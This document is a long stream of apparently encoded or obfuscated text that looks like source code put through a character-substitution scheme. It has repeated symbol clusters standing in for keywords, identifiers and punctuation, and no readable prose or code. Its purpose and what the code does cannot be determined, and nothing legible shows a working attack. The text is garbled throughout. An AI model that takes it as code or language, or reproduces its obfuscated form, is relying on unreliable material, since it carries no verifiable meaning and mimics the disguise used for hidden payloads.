CB\LSHJLG[O						^D]]OFPX_KGKN@ #		HOQEGHvB									FZLYYKLLEQ[\Ahkzyh}a							@N[KMFGKOJZ 		  			SPDBZLLFM] #FQ\[@]			_ONSMO										HOQEGHvB#]FPXXNP					_ONSMO					@^v_XSYHPXKSN 					HOQEGHvBX[CH\_JXyayvdhcf{vl{z`fgFXHS][X[CH\_JX#				M_XXHYC^C_SP							KKAEPBMEYMGE [ZKLSD_ 		@^v_XSYHPXKSN  #	XONOYOA[[				FZLYYKLLEQ[\Ahkzyh}a			SPDBZLLFM] 					  				KKAEPBMEYMGE #P[SXYMEK									@G] 				NL]vFY]@FG@N[KMFGKOJZ 		 #		@O			P[SXYMEK						KKAEPBMEYMGE  					P[SXYMEK				QLLMQHH  	R#			XCKSLXOECGQvOZFQ\[@]			G\EE #					XCKSLXOECGQvOZ]FPXXNP			G\EE ###OF[LHJA				H[[HPSPDBZLLFM] hkzyh}a			@N[KMFGKOJZ  	@N[KMFGKOJZ _ONSMO			@N[KMFGKOJZ   					HZ				\FXYDXPBP 	R#					QZFG^ZG@]DKZ			\FXYDXPBP								LNE@OEPSS[####			JAXYEZCNA				i@^v_XSYHPXKSN QZFG^ZG@]DKZ 									i@^v_XSYHPXKSN QZFG^ZG@]DKZ 					#			@O				SPDBZLLFM] JAXYEZCNA 										KKAEPBMEYMGE JAXYEZCNA	HOQEGHvB 			OHEZL 		R#	EJSOA^YQ\B					SPDBZLLFM] @N[KMFGKOJZ 								SPDBZLLFM] HOQEGHvB		 			@^v_XSYHPXKSN 		uG	JAXYEZCNA ####		@O						@^v_XSYHPXKSN EJSOA^YQ\B 										EJSOA^YQ\B			JAXYEZCNA 				ZKXOKS\JGG_ZQC@QYQZFG^ZG@]DKZ		EJSOA^YQ\B ####T#	dPzxe		j}lZ	H]]HJADLG]	DL]HMH]H##	T#				[L]\[G###T#			QENHAKBP@					GvOZDJCMQLYAvYLO####KKAEPBMEYMGE #		H[[HPvvze|nvv	vvs`yvghdlvv			vv`gz}vahzavv			vvmh}hvm`{vv		vvjfg}lg}vm`{vkvv					vvl{z`fgvv #H[[HPM_XXHYC^C_SP	XONOYOA[[	YGKBX]CM			@N[KMFGKOJZ 				FZLYYKLLEQ[\Ahkzyh}a							KKAEPBMEYMGE 	  				KKAEPBMEYMGE MLO@GLMKKAEPBMEYMGE  						~yvjfg}lg}vm`{		\PMXQZ\DMJ_]\OH  		^NKBHS]S^NFHGH^O]  #			 #			@O				QENHAKBP@ 			R#	LQYLJ]LM	KEFFDO@E]L[##		@O					@G] 				NL]vFY]@FGSPDBZLLFM] 		 								 		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@N[KMFGKOJZ  #						[L]\[G#						T#@O		iKKAEPBMEYMGE LCB\LSHJLG[O  				vGQBQZEPNCOHHMLCB\LSHJLG[O	QQJ 		][\L MBZHY\E[HKD]S]DAFMBZHY\E[HK#	@YHSX]BYNN[D			OHEZL#@O			iSPDBZLLFM] ]FPXXNP 		UU					KKAEPBMEYMGE C^v@Z@\@ACBCLZ][@GN 	iKKAEPBMEYMGE ]FPXXNP   					SPDBZLLFM] QENHAKBP@  	R#				]CMKXXQK@G\FH]FPXXNP			QENHAKBP@				@^v_XSYHPXKSN  ####	JBA\G@vQJPN]M]]FPXXNP	^ASQ\PAL\@O  ###			XX]L[vEYC^\OZSZ_@JL]FPXXNP			  #	EHOBPA]OAvH]FPXXNP #		@YHSX]BYNN[D			][\L#T#M@ZZCX^K							#		OF[LHJA			H[[HPSPDBZLLFM] hkzyh}a			KKAEPBMEYMGE  		KKAEPBMEYMGE _ONSMO	SPDBZLLFM]   		HZ				FO_LFKQSGF[O 	R####						OQJ\XEQ\F			iKKAEPBMEYMGE FO_LFKQSGF[O														LNE@OEPSS[ 										iSPDBZLLFM] FO_LFKQSGF[O						LNE@OEPSS[ 			#@O					@^v_XSYHPXKSN OQJ\XEQ\F 				SPDBZLLFM] SPDBZLLFM] 		OQJ\XEQ\F			YYOOJPZFS^  				R#				JZZMQHH[E					KKAEPBMEYMGE YYOOJPZFS^rt #	@O		JZZMQHH[E										Z][@YFZJZZMQHH[E		@^v_XSYHPXKSN  				OHEZL						NDOONH]^N[]JZZMQHH[E  				R####				M@ZZCX^K							JZZMQHH[E#			K[LHB#T#T#		T#			#	GMJ]Y_XH\OZ^L					KKAEPBMEYMGE 								M@ZZCX^K							@^v_XSYHPXKSN 								@N[KMFGKOJZ M@ZZCX^K	][\L 			@^v_XSYHPXKSN 						 #		@N[KMFGKOJZ 				HOQEGHvB										KKAEPBMEYMGE #		SPDBZLLFM] #				SPDBZLLFM] #		KKAEPBMEYMGE 							KKAEPBMEYMGE QENHAKBP@ 			SPDBZLLFM] ###@O	iSPDBZLLFM] FQ\[@] 	UU	KKAEPBMEYMGE C^v@Z@\@ACBCLZ][@GN 						i@^v_XSYHPXKSN FQ\[@]   			@^v_XSYHPXKSN GMJ]Y_XH\OZ^L  	R##]CMKXXQK@G\FHFQ\[@]	GMJ]Y_XH\OZ^L			SPDBZLLFM]  #	JBA\G@vQJPN]M]FQ\[@]	^ASQ\PAL\@O  ####	XX]L[vEYC^\OZSZ_@JLFQ\[@]	  #EHOBPA]OAvHFQ\[@] #	@YHSX]BYNN[D							][\L#T#FFHAY[MNNA]@M				][\L#\JLJ[]_Y							C^v@Z@\@ACBCLZ][@GN 	i@^v_XSYHPXKSN ]FPXXNP  #			@O	iKKAEPBMEYMGE ]FPXXNP 						UU	\JLJ[]_Y			QENHAKBP@ 			R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				@N[KMFGKOJZ  #		XCKSLXOECGQvOZ]FPXXNP	G\EE #	FFHAY[MNNA]@M						OHEZL#		T#		\JLJ[]_Y			C^v@Z@\@ACBCLZ][@GN 					i@^v_XSYHPXKSN FQ\[@]  #				@O				iSPDBZLLFM] FQ\[@] 		UU	\JLJ[]_Y				GMJ]Y_XH\OZ^L 		R#				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	SPDBZLLFM]  ####XCKSLXOECGQvOZFQ\[@]	G\EE #			FFHAY[MNNA]@M					OHEZLOODMPN_]OLH^CLAOODMPN_]#		T#						\GZL]\JLJ[]_Y #		@O	FFHAY[MNNA]@M 			R#vHK[JXZ\A								@G] 				NL]vFY]@FG@N[KMFGKOJZ 	 					#			\YMH]LvFY]@FG@N[KMFGKOJZ 	vHK[JXZ\A			SPDBZLLFM]  #@O	vHK[JXZ\A					QQ  	R#		\YMH]LvFY]@FGSPDBZLLFM] 			SPDBZLLFM]  					@^v_XSYHPXKSN  #					FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		@N[KMFGKOJZ  ##		T#	[L]\[G###T#							[_JPKSDYF^^			H[[HPKKAEPBMEYMGE hkzyh}a			@^v_XSYHPXKSN  		SPDBZLLFM] _ONSMO	@^v_XSYHPXKSN   #JPPB^^_BQJ			H[[HP ###		OF[LHJA			[_JPKSDYF^^		HZ		[YBEB\JZ 				R#								PEPBGYBEFY@				[YBEB\JZ												LNE@OEPSS[#	ALB@[G@D^EBDB]GK				i@N[KMFGKOJZ PEPBGYBEFY@ 				iSPDBZLLFM] PEPBGYBEFY@ 			#J\[[LG]		iSPDBZLLFM] PEPBGYBEFY@ 										i@^v_XSYHPXKSN PEPBGYBEFY@ 							#	@O		KKAEPBMEYMGE J\[[LG]  				R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		@^v_XSYHPXKSN  #			##	[L]\[G#T#			@O	@N[KMFGKOJZ J\[[LG]			HOQEGHvB 				OHEZL 		R####				@O				J\[[LG]								@N[KMFGKOJZ SPDBZLLFM] J\[[LG] 						 							uG 		J\[[LG]		uG#					_KQ[HGEZO						SPDBZLLFM] 					FQ\[@]						yayvlfe#					@O				ZKXOKS\JGG_ZQC@QYPEPBGYBEFY@		J\[[LG]			_KQ[HGEZO  						R#	@O		ALB@[G@D^EBDB]GK 	JBA\G@vQJPN]M]PEPBGYBEFY@	ALB@[G@D^EBDB]GK #LEZL	JBA\G@vQJPN]M]PEPBGYBEFY@			@^v_XSYHPXKSN   #	XX]L[vEYC^\OZSZ_@JLPEPBGYBEFY@				  #	\YMH]LvFY]@FG@^v_XSYHPXKSN 					@N[KMFGKOJZ  					@N[KMFGKOJZ  #JPPB^^_BQJrt			H[[HPPEPBGYBEFY@				J\[[LG] #							@O			@G] 	NL]vFY]@FGKKAEPBMEYMGE 				 						 				\YMH]LvFY]@FGKKAEPBMEYMGE 				@^v_XSYHPXKSN  #		@O				@G] 	NL]vFY]@FGSPDBZLLFM] 					 					 			iMLEL]LvFY]@FGKKAEPBMEYMGE  #					T			LEZL	R#	iHJX\@[L	ALH[]KLH]###		CNHJQJJSF				@G] 				NL]vFY]@FG@N[KMFGKOJZ 	 								SFvMJZyayv`g}vdhqyayv`g}vdhq]ZY]B]QP]SFvMJZ#		\YMH]LvFY]@FGKKAEPBMEYMGE 	CNHJQJJSF	@^v_XSYHPXKSN  #@O		CNHJQJJSF				  	R#	\YMH]LvFY]@FG@^v_XSYHPXKSN 					@N[KMFGKOJZ  		SPDBZLLFM]  #						FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	SPDBZLLFM]  #	K[LHB#T##		T#T#	T#@O			@YHSX]BYNN[D						AFF]vv_DYH]]D  		R#	###				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	SPDBZLLFM]  #						XCKSLXOECGQvOZFQ\[@]			G\EE #	XCKSLXOECGQvOZ]FPXXNP				G\EE #OF[LHJA		JPPB^^_BQJ	HZ		OL[AOP^\ 		ZKXOKS\JGG_ZQC@QYOL[AOP^\rt	OL[AOP^\rt #	vHK[JXZ\A						@G] 	NL]vFY]@FG@N[KMFGKOJZ 		 						#				\YMH]LvFY]@FG@N[KMFGKOJZ 	vHK[JXZ\A		KKAEPBMEYMGE  ###@O			vHK[JXZ\A					QQ  			R#				\YMH]LvFY]@FGKKAEPBMEYMGE 			KKAEPBMEYMGE  			@^v_XSYHPXKSN  #				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				@N[KMFGKOJZ  #						T#							T#	T					JH]JA	}A[F^HKEL		E]GYK]v 			R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v ##	T	JH]JA	lQJLY]@FG		E]GYK]v 	R#				T#			T#		O\GJ]@FG			EZ[EY\ZFO #					R#	[LCLJ]	M@ZJFGGLJ]LM	Z]HJBO[HDL##][P		R#	~y	aFDL	e@GB	]ALDL	Z\YYF[]##			@O			@N[KMFGKOJZ @N[KMFGKOJZ   		[L]\[G#		@O					MLO@GLMKKAEPBMEYMGE  		UU	MLO@GLMSPDBZLLFM]   				R#	@O			@G] 		iNL]vFY]@FGSPDBZLLFM] 		  			R#	iMLEL]LvFY]@FGSPDBZLLFM]  #					i\YMH]LvFY]@FGKKAEPBMEYMGE 						@N[KMFGKOJZ  #T#	MFD@GH]L	F[JALZ][H]F[	OF[	~y	yFZ]	}L[DZ####						[L]\[G#			T#		OEKOHSDG@[F			@G] 	iNL]vFY]@FGSPDBZLLFM] 		 #					@O		OEKOHSDG@[F 				[L]\[G#			vDKYZJJXGM							SPDBZLLFM] @N[KMFGKOJZ  					@G] 			iKKAEPBMEYMGE @^v_XSYHPXKSN  				##	@O	vDKYZJJXGM					 	vDKYZJJXGM			QMMQO #					@O	KKAEPBMEYMGE  			OEKOHSDG@[F						vDKYZJJXGM		QJQ  				[L]\[G#			i\YMH]LvFY]@FGKKAEPBMEYMGE 	@^v_XSYHPXKSN  			@^v_XSYHPXKSN  #MLXDFHODDKY						@G] 	iNL]vFY]@FG@N[KMFGKOJZ 	 					#				i\YMH]LvFY]@FG@N[KMFGKOJZ 					MLXDFHODDKY			KKAEPBMEYMGE  #	@O		MLXDFHODDKY						  			R#		iMLEL]LvFY]@FG@N[KMFGKOJZ  #i\YMH]LvFY]@FGKKAEPBMEYMGE 			SPDBZLLFM]  		@N[KMFGKOJZ  ##			FBQKvM[JB\ZMHPE\SPDBZLLFM] 	KKAEPBMEYMGE  #		T###							T			JH]JA	}A[F^HKEL	E]GYK]v 		R#T	JH]JA			lQJLY]@FG			E]GYK]v 				R#	T#		T#O\GJ]@FG		MOQFEPFCENML_K@Z #			R#][P	R#		@O	MLO@GLM@N[KMFGKOJZ   			[L]\[G##		@O	KKAEPBMEYMGE  							@^v_XSYHPXKSN  	[L]\[G###		@O			EMD^HNCXOK^Q  	[L]\[G#	@O		HNA_P@GZGMN  						[L]\[G#				LCB\LSHJLG[O						^D]]OFPX_KGKN@ ###			A^ZJCAMSQZ							LCB\LSHJLG[O					@^v_XSYHPXKSN #	@NYAOBHL							@^v_XSYHPXKSN 				uG									SPDBZLLFM] 				uG#									KKAEPBMEYMGE 					uG								@N[KMFGKOJZ 					uG					KKAEPBMEYMGE 					uG#			@^v_XSYHPXKSN 								uG								KKAEPBMEYMGE 				uG				@^v_XSYHPXKSN 					uG#				SPDBZLLFM] 				uG#		J\[[LG]						iSPDBZLLFM] A^ZJCAMSQZ 										i@^v_XSYHPXKSN A^ZJCAMSQZ 			#			@O					@^v_XSYHPXKSN J\[[LG]  		R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 	@^v_XSYHPXKSN  #	[L]\[G####	T#			@O				KKAEPBMEYMGE J\[[LG]		KKAEPBMEYMGE  				OHEZL 	R#			ZKXOKS\JGG_ZQC@QYA^ZJCAMSQZ	J\[[LG]					@NYAOBHL D^H]FL^_KS_UXHDKEQHLD^H]FL^_KS_w#	JBA\G@vQJPN]M]A^ZJCAMSQZ	^ASQ\PAL\@O  #XX]L[vEYC^\OZSZ_@JLA^ZJCAMSQZ				  #T#	YEA^CJENGPQ						LSQQPGQ_@[D^ #	@O	YEA^CJENGPQ					UU		SPDBZLLFM] YEA^CJENGPQ 		  			[L]\[G#M_XXHYC^C_SP					@N[KMFGKOJZ [ZKLSD_ 			SPDBZLLFM]  ##			_ONSMO					\PMXQZ\DMJ_]\OH #					HOQEGHvB		FZLYYKLLEQ[\Ahkzyh}a						KKAEPBMEYMGE 	QQ  				SPDBZLLFM] #		@CHE\K^@SSB					H[[HP#			_ONSMO											HOQEGHvB#LCB\LSHJLG[O														HOQEGHvB#	 #		X@XQCNQL]]		_ONSMO										HOQEGHvBQXEFFv_\GOPZDDHAQXEFFv_\GO#		OF[LHJA		@CHE\K^@SSB			HZ		@DZNOYA 			R#					[YBEB\JZ		@N[KMFGKOJZ @DZNOYA #@O	i@N[KMFGKOJZ [YBEB\JZ 	UU						vGQBQZEPNCOHHM[YBEB\JZ						QJQ 	][\L  			R#	~y	\ZLlG]@]P{LJF[MZ	@GZ]HG]@H]L	ZLZZ@FG^@GMF^##		X@XQCNQL]]							@DZNOYA#		K[LHB#			T#			T#	J_@[BEONv_					Q]H[ENCXS]X^Z@] #			QENHAKBP@										GvOZDJCMQLYAvYLO#				@N[KMFGKOJZ #H[[HPvvze|nvv			vvye|n`gvkhzlvv						vvl{z`fgvv #H[[HPM_XXHYC^C_SP			J_@[BEONv_	^NKBHS]S^NFHGH^O]  #						 YKAQPPNGZKJ[[B]BEEYKAQPPNGZ#	@O			QENHAKBP@ 	R#@O				@G] 	NL]vFY]@FGKKAEPBMEYMGE 	 					 		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		KKAEPBMEYMGE  #	[L]\[G#	T#					M@ZZCX^K			#	B_C[G^HBXS						H[[HPhkzyh}a				KKAEPBMEYMGE 	_ONSMO		@^v_XSYHPXKSN  #			[_FFZv[vAFX\			SPDBZLLFM] @N[KMFGKOJZ  				iKKAEPBMEYMGE @N[KMFGKOJZ  					OHEZL#						@O	@^v_XSYHPXKSN [_FFZv[vAFX\ 						[_FFZv[vAFX\			 			R#					B_C[G^HBXSrt				@^v_XSYHPXKSN hkzyh}a				KKAEPBMEYMGE  								[_FFZv[vAFX\#			B_C[G^HBXSrt			_ONSMO							[_FFZv[vAFX\#				T#	OF[LHJA	B_C[G^HBXS		HZ					XvvPDQvNHO 	R#	ZKPOPL^LZ]NZ			i@N[KMFGKOJZ XvvPDQvNHO 					i@^v_XSYHPXKSN XvvPDQvNHO 							#					@O				@^v_XSYHPXKSN ZKPOPL^LZ]NZ 				UU			ZKPOPL^LZ]NZ			 		JFG]@G\L####@O						KKAEPBMEYMGE SPDBZLLFM] 						ZKPOPL^LZ]NZ		YYOOJPZFS^  			R#			JZZMQHH[E			@^v_XSYHPXKSN YYOOJPZFS^rt #					@O				JZZMQHH[E										Z][@YFZJZZMQHH[E				SPDBZLLFM]  			OHEZL						NDOONH]^N[]JZZMQHH[E  		R##	M@ZZCX^K					JZZMQHH[E#K[LHB#		T#	Z][LZZ]LZ]	JFDYHJ]	LOOLJ]]PYL####	T#	T#@O			M@ZZCX^K					 	R#						QENHAKBP@									@^v_XSYHPXKSN SPDBZLLFM] 	@N[KMFGKOJZ 						KKAEPBMEYMGE M@ZZCX^K		][\L 				@^v_XSYHPXKSN 				QENHAKBP@				 #				@O		@^v_XSYHPXKSN QENHAKBP@  			R#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 		SPDBZLLFM]  ###[L]\[G#T#		T#AKCE_LPFH					][\L#\[F_\MA^A]			G\EE#		@O		iSPDBZLLFM] X@XQCNQL]]  		R#	iO@Q\Y	F[K@]###	\[F_\MA^A]							C^v@Z@\@ACBCLZ][@GN 		i@^v_XSYHPXKSN X@XQCNQL]]  ##						@O						@N[KMFGKOJZ \[F_\MA^A] 						\[F_\MA^A]				QENHAKBP@ 				R#							AKCE_LPFH							OHEZL###	T#	oo`	K@GM@GNZ	Y[@DL	AHGMZAHBL##		T#MSYOQ_XB]HQ			H[[HP#		hkzyh}a				@^v_XSYHPXKSN #		MLO@GLMKKAEPBMEYMGE  							~yvjfg}lg}vm`{				_ONSMO 		@N[KMFGKOJZ #	 ##		P[OQYSXPSBDDE							@G] 			NL]vFY]@FGSPDBZLLFM] 			 #		@O						P[OQYSXPSBDDE		@N[KMFGKOJZ  				P[OQYSXPSBDDE						  	R#	XCKSLXOECGQvOZX@XQCNQL]]			G\EE ####	OF[LHJA	MSYOQ_XB]HQ	HZ			_Z@Dv 			R#	JPJEL	ML]LJ]LM##					G^QMNPQLEXYNQ						iSPDBZLLFM] _Z@Dv 			i@^v_XSYHPXKSN _Z@Dv 									#				@O		@^v_XSYHPXKSN G^QMNPQLEXYNQ 		@^v_XSYHPXKSN G^QMNPQLEXYNQ			HOQEGHvB 				OHEZL 			R#GY@BPM[JBAv]X				CQ@O\DX]\LHOGM[EJG^QMNPQLEXYNQ		HOQEGHvB ###	@O						KKAEPBMEYMGE GY@BPM[JBAv]X 						GY@BPM[JBAv]X									G^QMNPQLEXYNQ 		ZKXOKS\JGG_ZQC@QY_Z@Dv	GY@BPM[JBAv]X #								T#			T#								[L]\[G#			T#						@O					AKCE_LPFH 			R[LGZY\KZCPCJQJQL NQ[P]F@EM[LGZY\KZCPCJ#	]CMKXXQK@G\FHX@XQCNQL]]		QENHAKBP@		SPDBZLLFM]  ####						JBA\G@vQJPN]M]X@XQCNQL]]				^ASQ\PAL\@O  ##			XX]L[vEYC^\OZSZ_@JLX@XQCNQL]]				QQJ  #		EHOBPA]OAvHX@XQCNQL]] #		T#				\JLJ[]_Y									iKKAEPBMEYMGE X@XQCNQL]] 							C^v@Z@\@ACBCLZ][@GN 				i@N[KMFGKOJZ X@XQCNQL]]  							#	@O					\JLJ[]_Y			QENHAKBP@ 			R##							FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				KKAEPBMEYMGE  #XCKSLXOECGQvOZX@XQCNQL]]			AKCE_LPFH					\[F_\MA^A]		G\EE #	[vCM_ES[FXOG										@G] 		NL]vFY]@FGSPDBZLLFM] 						 				#			\YMH]LvFY]@FGSPDBZLLFM] 		[vCM_ES[FXOG					@N[KMFGKOJZ  ####	@O				[vCM_ES[FXOG							QQ  			RFQJB@YSQ^CC]JZY@AFQJB@YSQ^C FQJB@YSQ^CFQJB@YSQ^C#\YMH]LvFY]@FG@^v_XSYHPXKSN 		SPDBZLLFM]  	@^v_XSYHPXKSN  #	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		@N[KMFGKOJZ  #	T#	[L]\[G#				T#			\GZL]\JLJ[]_Y #GOFFP@L^@[FG@@			@N[KMFGKOJZ #	JPPB^^_BQJ					H[[HP #	OF[LHJA					MSYOQ_XB]HQ	HZ		QX]N^HA 			R#[YBEB\JZ						@^v_XSYHPXKSN QX]N^HA ####@O	i@N[KMFGKOJZ [YBEB\JZ  					JFG]@G\L#					\FDO]SACF			SPDBZLLFM] KKAEPBMEYMGE  					iSPDBZLLFM] QX]N^HA	J 				OHEZL#@O	\FDO]SACF			OHEZL						KKAEPBMEYMGE SPDBZLLFM]   			iOEFJB\FDO]SACF		efjbvlq #	ALB@[G@D^EBDB]GK			iSPDBZLLFM] QX]N^HA 					iSPDBZLLFM] QX]N^HA 			#	KZvSSX]N_GP						i@N[KMFGKOJZ QX]N^HA 						iKKAEPBMEYMGE QX]N^HA 			#							@O					SPDBZLLFM] KZvSSX]N_GP  	R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	SPDBZLLFM]  #	@O	\FDO]SACF				OHEZL 						R#						@O			@N[KMFGKOJZ SPDBZLLFM]   			iOEFJB\FDO]SACF			efjbv|g #							iOJEFZL\FDO]SACF #	T#		JFG]@G\L##			T#	@O			SPDBZLLFM] KZvSSX]N_GP		HOQEGHvB 				OHEZL 	R#						@O	iKKAEPBMEYMGE X@XQCNQL]]  			R#		@O			\FDO]SACF				OHEZL 	R#				@O	KKAEPBMEYMGE KKAEPBMEYMGE   	iOEFJB\FDO]SACF			efjbv|g #					iOJEFZL\FDO]SACF ##				T#						JFG]@G\L#		T#KZvSSX]N_GP						CQ@O\DX]\LHOGM[EJKZvSSX]N_GP				HOQEGHvB #					T#@O	@^v_XSYHPXKSN KZvSSX]N_GP  				R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 					KKAEPBMEYMGE  SXAPNOFSA_PEE_[GYSXAPNO#	@O				\FDO]SACF							OHEZL 			R#				@O			KKAEPBMEYMGE @N[KMFGKOJZ   		iOEFJB\FDO]SACF	efjbv|g #	iOJEFZL\FDO]SACF #			T#					JFG]@G\L#			T#	@O	i@^v_XSYHPXKSN X@XQCNQL]]  		R#	~y	o\EE	z@]L	lM@]@GN	ZL[@HE@SL	M@Z][@K\]F[##		@O				\FDO]SACF			OHEZL 	R#	@O				SPDBZLLFM] SPDBZLLFM]   			iOEFJB\FDO]SACF		efjbv|g #	iOJEFZL\FDO]SACF ###		T###			JFG]@G\L#			T#	@O	@DX^BEQ[HCH^B  		R####		_KQ[HGEZO						uG`OdFM\EL	E@]LZYLLMuG		GOFFP@L^@[FG@@								@^v_XSYHPXKSN 							X@XQCNQL]]											uG`OdFM\ELuG#T	LEZL		R#		_KQ[HGEZO					uG`OdFM\EL	DFMvYAYJuG			GOFFP@L^@[FG@@			SPDBZLLFM] 			X@XQCNQL]]							uG`OdFM\ELuG#				`OdFM\EL	DFMvYAYJuG		GOFFP@L^@[FG@@		SPDBZLLFM] 					X@XQCNQL]]					uG`OdFM\ELuG###								`OdFM\EL	DFMvYAYJuG					GOFFP@L^@[FG@@					KKAEPBMEYMGE 				X@XQCNQL]]									uG`OdFM\ELuG#								`OdFM\EL	DFMvYAYJuG								GOFFP@L^@[FG@@				@N[KMFGKOJZ 			X@XQCNQL]]											uG`OdFM\ELuG##		T#		@O	ZKXOKS\JGG_ZQC@QYQX]N^HA	KZvSSX]N_GP						_KQ[HGEZO  		JPPB^^_BQJrt							H[[HPQX]N^HA		KZvSSX]N_GP #		@O		ALB@[G@D^EBDB]GK 		JBA\G@vQJPN]M]QX]N^HA	ALB@[G@D^EBDB]GK ##			LEZL		JBA\G@vQJPN]M]QX]N^HA			SPDBZLLFM]   #@O					\FDO]SACF					OHEZL 		R#@O			@N[KMFGKOJZ KKAEPBMEYMGE   			iOEFJB\FDO]SACF		efjbv|g #		iOJEFZL\FDO]SACF #			T#							T#			@O				AKCE_LPFH			UU	@^v_XSYHPXKSN JPPB^^_BQJ 							 							AFF]vv_DYH]]D  					R#	####	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			@N[KMFGKOJZ  ##		XCKSLXOECGQvOZX@XQCNQL]]		\[F_\MA^A] #OF[LHJA	JPPB^^_BQJ	HZ	OL[AOP^\ 			ZKXOKS\JGG_ZQC@QYOL[AOP^\rt				OL[AOP^\rt ####		[vCM_ES[FXOG						@G] 		NL]vFY]@FGKKAEPBMEYMGE 		 					#						##\YMH]LvFY]@FGSPDBZLLFM] 		[vCM_ES[FXOG			SPDBZLLFM]  #		@O		[vCM_ES[FXOG					QQ  	R#\YMH]LvFY]@FG@^v_XSYHPXKSN 		@^v_XSYHPXKSN  		@^v_XSYHPXKSN  #		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 				@N[KMFGKOJZ  #						T###								[L]\[G###					T#		@O				@G] 		NL]vFY]@FGKKAEPBMEYMGE 			 		 						\YMH]LvFY]@FGKKAEPBMEYMGE 			SPDBZLLFM]  #@O				@G] 		NL]vFY]@FGKKAEPBMEYMGE 		 								 	iMLEL]LvFY]@FGKKAEPBMEYMGE  ####					T			JH]JA		}A[F^HKEL	E]GYK]v 	R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v \@\LXUXFXG\C\@\LXw#	T		JH]JA					lQJLY]@FG	E]GYK]v 				R###	FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v #	T#					T#		O\GJ]@FG			KJ]XFvSQvXN@BvPED #R#					][P	R#	@O			MLO@GLMSPDBZLLFM]   		[L]\[G#			@O	@N[KMFGKOJZ SPDBZLLFM]   	[L]\[G###			XZ^\@KJE^							FZLYYKLLEQ[\Ahkzyh}a							@^v_XSYHPXKSN 	w  #				YEA^CJENGPQ		LSQQPGQ_@[D^ #@O			YEA^CJENGPQ			UU	@N[KMFGKOJZ YEA^CJENGPQ 					QMOQ  			[L]\[G#J_@[BEONv_						Q]H[ENCXS]X^Z@] #			J\[[LG]				iNL]vFY]@FGXZ^\@KJE^				 #					@O				J\[[LG]			KKAEPBMEYMGE J\[[LG] 			SPDBZLLFM] J_@[BEONv_ 					J\[[LG]			J_@[BEONv_ 		[L]\[G#						@O				SPDBZLLFM] SPDBZLLFM]   				R#\YMH]LvFY]@FGXZ^\@KJE^		J_@[BEONv_		@N[KMFGKOJZ  #			T			LEZL@O			MLO@GLM@N[KMFGKOJZ  		MLO@GLM@N[KMFGKOJZ  									MLO@GLM@^v_XSYHPXKSN  									MLO@GLMSPDBZLLFM]  		SPDBZLLFM] SPDBZLLFM]   	R#	BQCS@ZDHY					SPDBZLLFM] #	ODKOF]									iGL^			BQCS@ZDHYJFGZ]HG]@N[KMFGKOJZ  			JFGZ]HG]KKAEPBMEYMGE  	JFGZ]HG]@^v_XSYHPXKSN  	JFGZ]HG]SPDBZLLFM]   #	@O				ODKOF]			ODKOF]JFGGLJ]vL[[GF 				R#Y[LO@Q			@ZZL]nefkhezr@N[KMFGKOJZ tY[LO@Q 					nefkhezrSPDBZLLFM] tY[LO@Q			@^v_XSYHPXKSN ####		LCGP_F_]N				ODKOF][LHEvLZJHYLvZ][@GNJ_@[BEONv_ ##						OEMDJPZ					ODKOF][LHEvLZJHYLvZ][@GNXZ^\@KJE^ #			ODKOF]X\L[P`uQLuQuQ{}	`guQuQO	RY[LO@QTFuQ]uQFGuQ	uQOuQuQ@FuQLvGHuQML	FuQ]uQuQOGv_HE\L	uQ\uQFEFHM 	uQhuQJ|uQuQ	ROEMDJPZT	RLCGP_F_]NT	GuQO 	fuQL	m|yuQJ`juQuQl	blp	uQyuQuQuQl	FuQuQuQuQOGv_uQE\LRLCGP_F_]NT #@O	ODKOF]L[[F[ 			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 					SPDBZLLFM] 				KKAEPBMEYMGE ODKOF]L[[F[				   #	ODKOF]JEFZL #	T#T#	HMM	]PYL	HGGF]H]@FGZ##T	JH]JA			}A[F^HKEL					E]GYK]v 						R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 				E]GYK]v #			T					JH]JA						lQJLY]@FG			E]GYK]v 		R#		T#					T#			O\GJ]@FG		E@^NYDZ^vLY #R#	~y	`GGL[kEFJBZ	AFFB	MLJF[H]F[##@MMvvANCK				MLO@GLM@N[KMFGKOJZ  							~yvjfg}lg}vm`{								hkzyh}a									KKAEPBMEYMGE #M_O^O_\[						FZLYYKLLEQ[\Ahkzyh}a				@^v_XSYHPXKSN 	w  #		[L]\[G	H[[HP@MMvvANCK				SPDBZLLFM] 		@MMvvANCK				KKAEPBMEYMGE 				M_O^O_\[							SPDBZLLFM] 		M_O^O_\[ #T#	O\GJ]@FG					LPCKvDQ@B]HNXJXPM_[ #	R#			NQN^EKYJH				@G] 					iSPDBZLLFM] XPM_[ #			@O	NQN^EKYJH						 						UU			NQN^EKYJH			  	[L]\[G	OHEZL#		QAQDFGS_^NXD[		iKKAEPBMEYMGE XPM_[ #			@O			@^v_XSYHPXKSN QAQDFGS_^NXD[ 					UU		KKAEPBMEYMGE QAQDFGS_^NXD[ 		 		UU		@^v_XSYHPXKSN QAQDFGS_^NXD[ 		  	[L]\[G			OHEZL#		OEKOHSDG@[F							KKAEPBMEYMGE 	QAQDFGS_^NXD[						w  #@O				SPDBZLLFM] OEKOHSDG@[F 					w 		UU	OEKOHSDG@[Frt							@^v_XSYHPXKSN 			UU			@N[KMFGKOJZ OEKOHSDG@[Fr t 					  	[L]\[G			OHEZL#					L[GLAFES						iKKAEPBMEYMGE OEKOHSDG@[Frw t #@O	L[GLAFES		OHEZL			UU					